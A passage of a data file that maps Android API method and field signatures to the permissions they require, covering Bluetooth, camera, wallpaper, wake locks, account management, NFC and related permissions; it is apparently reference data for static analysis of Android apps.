"Landroid/bluetooth/BluetoothHeadset;-setPriority-(Landroid/bluetooth/BluetoothDevice; I)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/IBluetoothHeadset$Stub$Proxy;-connectHeadset-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/IBluetoothHeadset$Stub$Proxy;-disconnectHeadset-()":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/IBluetoothHeadset$Stub$Proxy;-setPriority-(Landroid/bluetooth/BluetoothDevice; I)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothDevice;-cancelBondProcess-()": "BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothDevice;-cancelPairingUserInput-()":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothDevice;-createBond-()": "BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothDevice;-removeBond-()": "BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothDevice;-setPairingConfirmation-(B)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothDevice;-setPasskey-(I)": "BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothDevice;-setPin-([L;)": "BLUETOOTH_ADMIN",
"Landroid/bluetooth/IBluetoothPbap$Stub$Proxy;-connect-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/IBluetoothPbap$Stub$Proxy;-disconnect-()":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothA2dp;-connectSink-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothA2dp;-disconnectSink-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothA2dp;-resumeSink-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothA2dp;-setSinkPriority-(Landroid/bluetooth/BluetoothDevice; I)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/BluetoothA2dp;-suspendSink-(Landroid/bluetooth/BluetoothDevice;)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-cancelBondProcess-(Ljava/lang/String;)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-cancelDiscovery-()":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-cancelPairingUserInput-(Ljava/lang/String;)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-createBond-(Ljava/lang/String;)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-disable-(B)": "BLUETOOTH_ADMIN",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-enable-()": "BLUETOOTH_ADMIN",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-removeBond-(Ljava/lang/String;)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-setDiscoverableTimeout-(I)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-setName-(Ljava/lang/String;)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-setPairingConfirmation-(Ljava/lang/String; B)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-setPasskey-(Ljava/lang/String; I)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-setPin-(Ljava/lang/String; [L;)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-setTrust-(Ljava/lang/String; B)":
"BLUETOOTH_ADMIN",
"Landroid/bluetooth/IBluetooth$Stub$Proxy;-startDiscovery-()":
"BLUETOOTH_ADMIN",
"Landroid/view/IWindowManager$Stub$Proxy;-injectKeyEvent-(Landroid/view/KeyEvent; B)":
"INJECT_EVENTS",
"Landroid/view/IWindowManager$Stub$Proxy;-injectPointerEvent-(Landroid/view/MotionEvent; B)":
"INJECT_EVENTS",
"Landroid/view/IWindowManager$Stub$Proxy;-injectTrackballEvent-(Landroid/view/MotionEvent; B)":
"INJECT_EVENTS",
"Landroid/app/Instrumentation;-invokeContextMenuAction-(Landroid/app/Activity; I I)":
"INJECT_EVENTS",
"Landroid/app/Instrumentation;-sendCharacterSync-(I)": "INJECT_EVENTS",
"Landroid/app/Instrumentation;-sendKeyDownUpSync-(I)": "INJECT_EVENTS",
"Landroid/app/Instrumentation;-sendKeySync-(Landroid/view/KeyEvent;)":
"INJECT_EVENTS",
"Landroid/app/Instrumentation;-sendPointerSync-(Landroid/view/MotionEvent;)":
"INJECT_EVENTS",
"Landroid/app/Instrumentation;-sendStringSync-(Ljava/lang/String;)":
"INJECT_EVENTS",
"Landroid/app/Instrumentation;-sendTrackballEventSync-(Landroid/view/MotionEvent;)":
"INJECT_EVENTS",
"Landroid/hardware/Camera/ErrorCallback;-onError-(I Landroid/hardware/Camera;)":
"CAMERA",
"Landroid/media/MediaRecorder;-setVideoSource-(I)": "CAMERA",
"Landroid/view/KeyEvent;-KEYCODE_CAMERA-I": "CAMERA",
"Landroid/bluetooth/BluetoothClass/Device;-AUDIO_VIDEO_VIDEO_CAMERA-I":
"CAMERA",
"Landroid/provider/MediaStore;-INTENT_ACTION_STILL_IMAGE_CAMERA-Ljava/lang/String;":
"CAMERA",
"Landroid/provider/MediaStore;-INTENT_ACTION_VIDEO_CAMERA-Ljava/lang/String;":
"CAMERA",
"Landroid/hardware/Camera/CameraInfo;-CAMERA_FACING_BACK-I": "CAMERA",
"Landroid/hardware/Camera/CameraInfo;-CAMERA_FACING_FRONT-I": "CAMERA",
"Landroid/hardware/Camera/CameraInfo;-facing-I": "CAMERA",
"Landroid/provider/ContactsContract/StatusColumns;-CAPABILITY_HAS_CAMERA-I":
"CAMERA",
"Landroid/hardware/Camera/Parameters;-setRotation-(I)": "CAMERA",
"Landroid/media/MediaRecorder/VideoSource;-CAMERA-I": "CAMERA",
"Landroid/content/Intent;-IntentResolution-Ljava/lang/String;": "CAMERA",
"Landroid/content/Intent;-ACTION_CAMERA_BUTTON-Ljava/lang/String;": "CAMERA",
"Landroid/content/pm/PackageManager;-FEATURE_CAMERA-Ljava/lang/String;":
"CAMERA",
"Landroid/content/pm/PackageManager;-FEATURE_CAMERA_AUTOFOCUS-Ljava/lang/String;":
"CAMERA",
"Landroid/content/pm/PackageManager;-FEATURE_CAMERA_FLASH-Ljava/lang/String;":
"CAMERA",
"Landroid/content/pm/PackageManager;-FEATURE_CAMERA_FRONT-Ljava/lang/String;":
"CAMERA",
"Landroid/hardware/Camera;-CAMERA_ERROR_SERVER_DIED-I": "CAMERA",
"Landroid/hardware/Camera;-CAMERA_ERROR_UNKNOWN-I": "CAMERA",
"Landroid/hardware/Camera;-setDisplayOrientation-(I)": "CAMERA",
"Landroid/hardware/Camera;-native_setup-(Ljava/lang/Object;)": "CAMERA",
"Landroid/hardware/Camera;-open-()": "CAMERA",
"Landroid/app/Activity;-clearWallpaper-()": "SET_WALLPAPER",
"Landroid/app/Activity;-setWallpaper-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/app/Activity;-setWallpaper-(Ljava/io/InputStream;)": "SET_WALLPAPER",
"Landroid/app/ExpandableListActivity;-clearWallpaper-()": "SET_WALLPAPER",
"Landroid/app/ExpandableListActivity;-setWallpaper-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/app/ExpandableListActivity;-setWallpaper-(Ljava/io/InputStream;)":
"SET_WALLPAPER",
"Landroid/accessibilityservice/AccessibilityService;-clearWallpaper-()":
"SET_WALLPAPER",
"Landroid/accessibilityservice/AccessibilityService;-setWallpaper-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/accessibilityservice/AccessibilityService;-setWallpaper-(Ljava/io/InputStream;)":
"SET_WALLPAPER",
"Landroid/accounts/GrantCredentialsPermissionActivity;-clearWallpaper-()":
"SET_WALLPAPER",
"Landroid/accounts/GrantCredentialsPermissionActivity;-setWallpaper-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/accounts/GrantCredentialsPermissionActivity;-setWallpaper-(Ljava/io/InputStream;)":
"SET_WALLPAPER",
"Landroid/app/backup/BackupAgent;-clearWallpaper-()": "SET_WALLPAPER",
"Landroid/app/backup/BackupAgent;-setWallpaper-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/app/backup/BackupAgent;-setWallpaper-(Ljava/io/InputStream;)":
"SET_WALLPAPER",
"Landroid/service/wallpaper/WallpaperService;-clearWallpaper-()":
"SET_WALLPAPER",
"Landroid/service/wallpaper/WallpaperService;-setWallpaper-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/service/wallpaper/WallpaperService;-setWallpaper-(Ljava/io/InputStream;)":
"SET_WALLPAPER",
"Landroid/app/backup/BackupAgentHelper;-clearWallpaper-()": "SET_WALLPAPER",
"Landroid/app/backup/BackupAgentHelper;-setWallpaper-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/app/backup/BackupAgentHelper;-setWallpaper-(Ljava/io/InputStream;)":
"SET_WALLPAPER",
"Landroid/accounts/AccountAuthenticatorActivity;-clearWallpaper-()":
"SET_WALLPAPER",
"Landroid/accounts/AccountAuthenticatorActivity;-setWallpaper-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/accounts/AccountAuthenticatorActivity;-setWallpaper-(Ljava/io/InputStream;)":
"SET_WALLPAPER",
"Landroid/app/IWallpaperManager$Stub$Proxy;-setWallpaper-(Ljava/lang/String;)":
"SET_WALLPAPER",
"Landroid/app/ActivityGroup;-clearWallpaper-()": "SET_WALLPAPER",
"Landroid/app/ActivityGroup;-setWallpaper-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/app/ActivityGroup;-setWallpaper-(Ljava/io/InputStream;)":
"SET_WALLPAPER",
"Landroid/content/ContextWrapper;-clearWallpaper-()": "SET_WALLPAPER",
"Landroid/content/ContextWrapper;-setWallpaper-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/content/ContextWrapper;-setWallpaper-(Ljava/io/InputStream;)":
"SET_WALLPAPER",
"Landroid/app/WallpaperManager;-setBitmap-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/app/WallpaperManager;-clear-()": "SET_WALLPAPER",
"Landroid/app/WallpaperManager;-setBitmap-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/app/WallpaperManager;-setResource-(I)": "SET_WALLPAPER",
"Landroid/app/WallpaperManager;-setStream-(Ljava/io/InputStream;)":
"SET_WALLPAPER",
"Landroid/app/ContextImpl;-clearWallpaper-()": "SET_WALLPAPER",
"Landroid/app/ContextImpl;-setWallpaper-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/app/ContextImpl;-setWallpaper-(Ljava/io/InputStream;)":
"SET_WALLPAPER",
"Landroid/app/AliasActivity;-clearWallpaper-()": "SET_WALLPAPER",
"Landroid/app/AliasActivity;-setWallpaper-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/app/AliasActivity;-setWallpaper-(Ljava/io/InputStream;)":
"SET_WALLPAPER",
"Landroid/content/Context;-clearWallpaper-()": "SET_WALLPAPER",
"Landroid/content/Context;-setWallpaper-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/content/Context;-setWallpaper-(Ljava/io/InputStream;)":
"SET_WALLPAPER",
"Landroid/service/urlrenderer/UrlRendererService;-clearWallpaper-()":
"SET_WALLPAPER",
"Landroid/service/urlrenderer/UrlRendererService;-setWallpaper-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/service/urlrenderer/UrlRendererService;-setWallpaper-(Ljava/io/InputStream;)":
"SET_WALLPAPER",
"Landroid/app/FullBackupAgent;-clearWallpaper-()": "SET_WALLPAPER",
"Landroid/app/FullBackupAgent;-setWallpaper-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/app/FullBackupAgent;-setWallpaper-(Ljava/io/InputStream;)":
"SET_WALLPAPER",
"Landroid/app/TabActivity;-clearWallpaper-()": "SET_WALLPAPER",
"Landroid/app/TabActivity;-setWallpaper-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/app/TabActivity;-setWallpaper-(Ljava/io/InputStream;)":
"SET_WALLPAPER",
"Landroid/view/ContextThemeWrapper;-clearWallpaper-()": "SET_WALLPAPER",
"Landroid/view/ContextThemeWrapper;-setWallpaper-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/view/ContextThemeWrapper;-setWallpaper-(Ljava/io/InputStream;)":
"SET_WALLPAPER",
"Landroid/speech/RecognitionService;-clearWallpaper-()": "SET_WALLPAPER",
"Landroid/speech/RecognitionService;-setWallpaper-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/speech/RecognitionService;-setWallpaper-(Ljava/io/InputStream;)":
"SET_WALLPAPER",
"Landroid/app/IntentService;-clearWallpaper-()": "SET_WALLPAPER",
"Landroid/app/IntentService;-setWallpaper-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/app/IntentService;-setWallpaper-(Ljava/io/InputStream;)":
"SET_WALLPAPER",
"Landroid/inputmethodservice/AbstractInputMethodService;-clearWallpaper-()":
"SET_WALLPAPER",
"Landroid/inputmethodservice/AbstractInputMethodService;-setWallpaper-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/inputmethodservice/AbstractInputMethodService;-setWallpaper-(Ljava/io/InputStream;)":
"SET_WALLPAPER",
"Landroid/app/Application;-clearWallpaper-()": "SET_WALLPAPER",
"Landroid/app/Application;-setWallpaper-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/app/Application;-setWallpaper-(Ljava/io/InputStream;)":
"SET_WALLPAPER",
"Landroid/app/ListActivity;-clearWallpaper-()": "SET_WALLPAPER",
"Landroid/app/ListActivity;-setWallpaper-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/app/ListActivity;-setWallpaper-(Ljava/io/InputStream;)":
"SET_WALLPAPER",
"Landroid/app/Service;-clearWallpaper-()": "SET_WALLPAPER",
"Landroid/app/Service;-setWallpaper-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/app/Service;-setWallpaper-(Ljava/io/InputStream;)": "SET_WALLPAPER",
"Landroid/content/MutableContextWrapper;-clearWallpaper-()": "SET_WALLPAPER",
"Landroid/content/MutableContextWrapper;-setWallpaper-(Landroid/graphics/Bitmap;)":
"SET_WALLPAPER",
"Landroid/content/MutableContextWrapper;-setWallpaper-(Ljava/io/InputStream;)":
"SET_WALLPAPER",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-acquireWifiLock-(Landroid/os/IBinder; I Ljava/lang/String;)":
"WAKE_LOCK",
"Landroid/net/wifi/IWifiManager$Stub$Proxy;-releaseWifiLock-(Landroid/os/IBinder;)":
"WAKE_LOCK",
"Landroid/bluetooth/HeadsetBase;-acquireWakeLock-()": "WAKE_LOCK",
"Landroid/bluetooth/HeadsetBase;-finalize-()": "WAKE_LOCK",
"Landroid/bluetooth/HeadsetBase;-handleInput-(Ljava/lang/String;)": "WAKE_LOCK",
"Landroid/bluetooth/HeadsetBase;-releaseWakeLock-()": "WAKE_LOCK",
"Landroid/os/PowerManager$WakeLock;-acquire-()": "WAKE_LOCK",
"Landroid/os/PowerManager$WakeLock;-acquire-(J)": "WAKE_LOCK",
"Landroid/os/PowerManager$WakeLock;-release-()": "WAKE_LOCK",
"Landroid/os/PowerManager$WakeLock;-release-(I)": "WAKE_LOCK",
"Landroid/media/MediaPlayer;-setWakeMode-(Landroid/content/Context; I)":
"WAKE_LOCK",
"Landroid/media/MediaPlayer;-start-()": "WAKE_LOCK",
"Landroid/media/MediaPlayer;-stayAwake-(B)": "WAKE_LOCK",
"Landroid/media/MediaPlayer;-stop-()": "WAKE_LOCK",
"Landroid/bluetooth/ScoSocket;-acquireWakeLock-()": "WAKE_LOCK",
"Landroid/bluetooth/ScoSocket;-close-()": "WAKE_LOCK",
"Landroid/bluetooth/ScoSocket;-finalize-()": "WAKE_LOCK",
"Landroid/bluetooth/ScoSocket;-releaseWakeLock-()": "WAKE_LOCK",
"Landroid/bluetooth/ScoSocket;-releaseWakeLockNow-()": "WAKE_LOCK",
"Landroid/media/AsyncPlayer;-acquireWakeLock-()": "WAKE_LOCK",
"Landroid/media/AsyncPlayer;-enqueueLocked-(Landroid/media/AsyncPlayer$Command;)":
"WAKE_LOCK",
"Landroid/media/AsyncPlayer;-play-(Landroid/content/Context; Landroid/net/Uri; B I)":
"WAKE_LOCK",
"Landroid/media/AsyncPlayer;-releaseWakeLock-()": "WAKE_LOCK",
"Landroid/media/AsyncPlayer;-stop-()": "WAKE_LOCK",
"Landroid/net/wifi/WifiManager$WifiLock;-acquire-()": "WAKE_LOCK",
"Landroid/net/wifi/WifiManager$WifiLock;-finalize-()": "WAKE_LOCK",
"Landroid/net/wifi/WifiManager$WifiLock;-release-()": "WAKE_LOCK",
"Landroid/os/IPowerManager$Stub$Proxy;-acquireWakeLock-(I Landroid/os/IBinder; Ljava/lang/String;)":
"WAKE_LOCK",
"Landroid/os/IPowerManager$Stub$Proxy;-releaseWakeLock-(Landroid/os/IBinder; I)":
"WAKE_LOCK",
"Landroid/net/sip/SipAudioCall;-startAudio-()": "WAKE_LOCK",
"Landroid/os/PowerManager;-ACQUIRE_CAUSES_WAKEUP-I": "WAKE_LOCK",
"Landroid/os/PowerManager;-FULL_WAKE_LOCK-I": "WAKE_LOCK",
"Landroid/os/PowerManager;-ON_AFTER_RELEASE-I": "WAKE_LOCK",
"Landroid/os/PowerManager;-PARTIAL_WAKE_LOCK-I": "WAKE_LOCK",
"Landroid/os/PowerManager;-SCREEN_BRIGHT_WAKE_LOCK-I": "WAKE_LOCK",
"Landroid/os/PowerManager;-SCREEN_DIM_WAKE_LOCK-I": "WAKE_LOCK",
"Landroid/os/PowerManager;-newWakeLock-(I Ljava/lang/String;)": "WAKE_LOCK",
"Landroid/accounts/AccountManager;-addAccount-(Ljava/lang/String; Ljava/lang/String; [Ljava/lang/String; Landroid/os/Bundle; Landroid/app/Activity; Landroid/accounts/AccountManagerCallback<android/os/Bundle>; Landroid/os/Handler;)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/AccountManager;-clearPassword-(Landroid/accounts/Account;)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/AccountManager;-confirmCredentials-(Landroid/accounts/Account; Landroid/os/Bundle; Landroid/app/Activity; Landroid/accounts/AccountManagerCallback<android/os/Bundle>; Landroid/os/Handler;)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/AccountManager;-editProperties-(Ljava/lang/String; Landroid/app/Activity; Landroid/accounts/AccountManagerCallback<android/os/Bundle>; Landroid/os/Handler;)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/AccountManager;-getAuthTokenByFeatures-(Ljava/lang/String; Ljava/lang/String; [Ljava/lang/String; Landroid/app/Activity; Landroid/os/Bundle; Landroid/os/Bundle; Landroid/accounts/AccountManagerCallback<android/os/Bundle>; Landroid/os/Handler;)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/AccountManager;-invalidateAuthToken-(Ljava/lang/String; Ljava/lang/String;)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/AccountManager;-removeAccount-(Landroid/accounts/Account; Landroid/accounts/AccountManagerCallback<java/lang/Boolean>; Landroid/os/Handler;)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/AccountManager;-updateCredentials-(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle; Landroid/app/Activity; Landroid/accounts/AccountManagerCallback<android/os/Bundle>; Landroid/os/Handler;)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/AccountManager;-addAccount-(Ljava/lang/String; Ljava/lang/String; [L[Ljava/lang/Strin; Landroid/os/Bundle; Landroid/app/Activity; Landroid/accounts/AccountManagerCallback; Landroid/os/Handler;)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/AccountManager;-clearPassword-(Landroid/accounts/Account;)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/AccountManager;-confirmCredentials-(Landroid/accounts/Account; Landroid/os/Bundle; Landroid/app/Activity; Landroid/accounts/AccountManagerCallback; Landroid/os/Handler;)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/AccountManager;-editProperties-(Ljava/lang/String; Landroid/app/Activity; Landroid/accounts/AccountManagerCallback; Landroid/os/Handler;)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/AccountManager;-invalidateAuthToken-(Ljava/lang/String; Ljava/lang/String;)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/AccountManager;-removeAccount-(Landroid/accounts/Account; Landroid/accounts/AccountManagerCallback; Landroid/os/Handler;)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/AccountManager;-updateCredentials-(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle; Landroid/app/Activity; Landroid/accounts/AccountManagerCallback; Landroid/os/Handler;)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/AccountManagerService;-addAcount-(Landroid/accounts/IAccountManagerResponse; Ljava/lang/String; Ljava/lang/String; [L[Ljava/lang/Strin; B Landroid/os/Bundle;)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/AccountManagerService;-checkManageAccountsOrUseCredentialsPermissions-()":
"MANAGE_ACCOUNTS",
"Landroid/accounts/AccountManagerService;-checkManageAccountsPermission-()":
"MANAGE_ACCOUNTS",
"Landroid/accounts/AccountManagerService;-clearPassword-(Landroid/accounts/Account;)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/AccountManagerService;-confirmCredentials-(Landroid/accounts/IAccountManagerResponse; Landroid/accounts/Account; Landroid/os/Bundle; B)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/AccountManagerService;-editProperties-(Landroid/accounts/IAccountManagerResponse; Ljava/lang/String; B)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/AccountManagerService;-invalidateAuthToken-(Ljava/lang/String; Ljava/lang/String;)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/AccountManagerService;-removeAccount-(Landroid/accounts/IAccountManagerResponse; Landroid/accounts/Account;)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/AccountManagerService;-updateCredentials-(Landroid/accounts/IAccountManagerResponse; Landroid/accounts/Account; Ljava/lang/String; B Landroid/os/Bundle;)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/IAccountManager$Stub$Proxy;-addAcount-(Landroid/accounts/IAccountManagerResponse; Ljava/lang/String; Ljava/lang/String; [L[Ljava/lang/Strin; B Landroid/os/Bundle;)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/IAccountManager$Stub$Proxy;-clearPassword-(Landroid/accounts/Account;)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/IAccountManager$Stub$Proxy;-confirmCredentials-(Landroid/accounts/IAccountManagerResponse; Landroid/accounts/Account; Landroid/os/Bundle; B)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/IAccountManager$Stub$Proxy;-editProperties-(Landroid/accounts/IAccountManagerResponse; Ljava/lang/String; B)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/IAccountManager$Stub$Proxy;-invalidateAuthToken-(Ljava/lang/String; Ljava/lang/String;)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/IAccountManager$Stub$Proxy;-removeAccount-(Landroid/accounts/IAccountManagerResponse; Landroid/accounts/Account;)":
"MANAGE_ACCOUNTS",
"Landroid/accounts/IAccountManager$Stub$Proxy;-updateCredentials-(Landroid/accounts/IAccountManagerResponse; Landroid/accounts/Account; Ljava/lang/String; B Landroid/os/Bundle;)":
"MANAGE_ACCOUNTS",
"Landroid/provider/Calendar$CalendarAlerts;-insert-(Landroid/content/ContentResolver; J J J J I)":
"WRITE_CALENDAR",
"Landroid/provider/Calendar$Calendars;-delete-(Landroid/content/ContentResolver; Ljava/lang/String; [L[Ljava/lang/Strin;)":
"WRITE_CALENDAR",
"Landroid/provider/Calendar$Calendars;-deleteCalendarsForAccount-(Landroid/content/ContentResolver; Landroid/accounts/Account;)":
"WRITE_CALENDAR",
"Landroid/appwidget/AppWidgetManager;-bindAppWidgetId-(I Landroid/content/ComponentName;)":
"BIND_APPWIDGET",
"Lcom/android/internal/appwidget/IAppWidgetService$Stub$Proxy;-bindAppWidgetId-(I LComponentName;)":
"BIND_APPWIDGET",
"Landroid/os/storage/IMountService$Stub$Proxy;-mountSecureContainer-(Ljava/lang/String; Ljava/lang/String; I)":
"ASEC_MOUNT_UNMOUNT",
"Landroid/os/storage/IMountService$Stub$Proxy;-unmountSecureContainer-(Ljava/lang/String; B)":
"ASEC_MOUNT_UNMOUNT",
"Landroid/app/ContextImpl$ApplicationPackageManager;-addPreferredActivity-(LIntentFilter; I [LComponentName; LComponentName;)":
"SET_PREFERRED_APPLICATIONS",
"Landroid/app/ContextImpl$ApplicationPackageManager;-clearPackagePreferredActivities-(Ljava/lang/String;)":
"SET_PREFERRED_APPLICATIONS",
"Landroid/app/ContextImpl$ApplicationPackageManager;-replacePreferredActivity-(LIntentFilter; I [LComponentName; LComponentName;)":
"SET_PREFERRED_APPLICATIONS",
"Landroid/app/ContextImpl$ApplicationPackageManager;-addPreferredActivity-(Landroid/content/IntentFilter; I [Landroid/content/ComponentName; Landroid/content/ComponentName;)":
"SET_PREFERRED_APPLICATIONS",
"Landroid/app/ContextImpl$ApplicationPackageManager;-clearPackagePreferredActivities-(Ljava/lang/String;)":
"SET_PREFERRED_APPLICATIONS",
"Landroid/app/ContextImpl$ApplicationPackageManager;-replacePreferredActivity-(Landroid/content/IntentFilter; I [Landroid/content/ComponentName; Landroid/content/ComponentName;)":
"SET_PREFERRED_APPLICATIONS",
"Landroid/content/pm/PackageManager;-addPreferredActivity-(Landroid/content/IntentFilter; I [Landroid/content/ComponentName; Landroid/content/ComponentName;)":
"SET_PREFERRED_APPLICATIONS",
"Landroid/content/pm/PackageManager;-clearPackagePreferredActivities-(Ljava/lang/String;)":
"SET_PREFERRED_APPLICATIONS",
"Landroid/content/pm/PackageManager;-replacePreferredActivity-(Landroid/content/IntentFilter; I [Landroid/content/ComponentName; Landroid/content/ComponentName;)":
"SET_PREFERRED_APPLICATIONS",
"Landroid/content/pm/IPackageManager$Stub$Proxy;-addPreferredActivity-(Landroid/content/IntentFilter; I [L[Landroid/content/ComponentNam; Landroid/content/ComponentName;)":
"SET_PREFERRED_APPLICATIONS",
"Landroid/content/pm/IPackageManager$Stub$Proxy;-clearPackagePreferredActivities-(Ljava/lang/String;)":
"SET_PREFERRED_APPLICATIONS",
"Landroid/content/pm/IPackageManager$Stub$Proxy;-replacePreferredActivity-(Landroid/content/IntentFilter; I [L[Landroid/content/ComponentNam; Landroid/content/ComponentName;)":
"SET_PREFERRED_APPLICATIONS",
"Landroid/inputmethodservice/InputMethodService;-SoftInputView-I": "NFC",
"Landroid/inputmethodservice/InputMethodService;-CandidatesView-I": "NFC",
"Landroid/inputmethodservice/InputMethodService;-FullscreenMode-I": "NFC",
"Landroid/inputmethodservice/InputMethodService;-GeneratingText-I": "NFC",
"Landroid/nfc/tech/NfcA;-close-()": "NFC",
"Landroid/nfc/tech/NfcA;-connect-()": "NFC",
"Landroid/nfc/tech/NfcA;-get-(Landroid/nfc/Tag;)": "NFC",
"Landroid/nfc/tech/NfcA;-transceive-([B)": "NFC",
"Landroid/nfc/tech/NfcB;-close-()": "NFC",
"Landroid/nfc/tech/NfcB;-connect-()": "NFC",
"Landroid/nfc/tech/NfcB;-get-(Landroid/nfc/Tag;)": "NFC",
"Landroid/nfc/tech/NfcB;-transceive-([B)": "NFC",
"Landroid/nfc/NfcAdapter;-ACTION_TECH_DISCOVERED-Ljava/lang/String;": "NFC",
"Landroid/nfc/NfcAdapter;-disableForegroundDispatch-(Landroid/app/Activity;)":
"NFC",
"Landroid/nfc/NfcAdapter;-disableForegroundNdefPush-(Landroid/app/Activity;)":
"NFC",
"Landroid/nfc/NfcAdapter;-enableForegroundDispatch-(Landroid/app/Activity; Landroid/app/PendingIntent; [Landroid/content/IntentFilter; [[Ljava/lang/String[];)":
"NFC",
"Landroid/nfc/NfcAdapter;-enableForegroundNdefPush-(Landroid/app/Activity; Landroid/nfc/NdefMessage;)":
"NFC",
"Landroid/nfc/NfcAdapter;-getDefaultAdapter-()": "NFC",
"Landroid/nfc/NfcAdapter;-getDefaultAdapter-(Landroid/content/Context;)": "NFC",
"Landroid/nfc/NfcAdapter;-isEnabled-()": "NFC",
"Landroid/nfc/tech/NfcF;-close-()": "NFC",
"Landroid/nfc/tech/NfcF;-connect-()": "NFC",
"Landroid/nfc/tech/NfcF;-get-(Landroid/nfc/Tag;)": "NFC",
"Landroid/nfc/tech/NfcF;-transceive-([B)": "NFC",
"Landroid/nfc/tech/NdefFormatable;-close-()": "NFC",
"Landroid/nfc/tech/NdefFormatable;-connect-()": "NFC",
"Landroid/nfc/tech/NdefFormatable;-format-(Landroid/nfc/NdefMessage;)": "NFC",
"Landroid/nfc/tech/NdefFormatable;-formatReadOnly-(Landroid/nfc/NdefMessage;)":
"NFC",
"Landroid/app/Activity;-Fragments-I": "NFC",
"Landroid/app/Activity;-ActivityLifecycle-I": "NFC",
